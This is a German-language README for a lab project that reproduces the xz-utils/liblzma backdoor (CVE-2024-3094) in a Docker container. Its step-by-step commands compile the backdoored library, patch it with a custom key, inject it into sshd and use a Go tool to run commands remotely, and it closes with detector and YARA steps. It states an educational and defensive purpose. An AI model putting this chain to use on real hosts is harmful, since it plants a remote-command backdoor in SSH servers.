
Eine XZ-Backdoor-Schwachstelle im Detail erklärt
Dieses Projekt analysiert die vielbeachtete Hintertür, die in xz-utils (liblzma) entdeckt wurde und die Versionen 5.6.0 und 5.6.1 betrifft. Der in das Upstream-Build-System eingeschleuste Schadcode zielte auf die SSH-Authentifizierung ab, indem er zur Laufzeit die Interaktion von sshd mit der LZMA-Komprimierungsbibliothek veränderte.
⚠️ Dieses Projekt dient ausschließlich Bildungs- und Abwehrforschungszwecken.
Klonen Sie dieses Repository
git clone https://github.com/valeriot30/cve-2024-3094
Wechseln Sie in das Verzeichnis
cd cve-2024-3094
Docker-Container starten
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
Besorgen Sie eine bösartige Version der Bibliothek
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # Die verwundbare Version ( funktioniert auch mit 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
Build-Ziel exportieren
export RPM_ARCH=$(uname -m)
Die bösartige Bibliothek kompilieren
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
Die bösartige SO-Datei nach außen kopieren:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
Klonen Sie das Repository erneut innerhalb des Containers
git clone https://github.com/valeriot30/cve-2024-3094
Patchen Sie die liblzma-Bibliothek mit einem benutzerdefinierten Schlüssel
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
Verknüpfen Sie die bösartige Bibliothek im System
sh cve-2024-3094/inject.sh
Führen Sie das mit der bösartigen Bibliothek verknüpfte sshd aus
env -i LANG=C /usr/sbin/sshd -D &
Klonen Sie dieses Repository
git clone https://github.com/valeriot30/cve-2024-3094
Wechseln Sie in das Verzeichnis
cd cve-2024-3094
Kompilieren Sie das GO-Tool
go build
Verwenden Sie das Tool, indem Sie die IP-Adresse der verwundbaren Maschine und den auszuführenden Befehl angeben
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
Führen Sie den Detektor aus
sh detector.sh
Verwenden Sie die Yara-Abgleichregeln
yara rule.yar ../liblzma.so.5.6.0 -s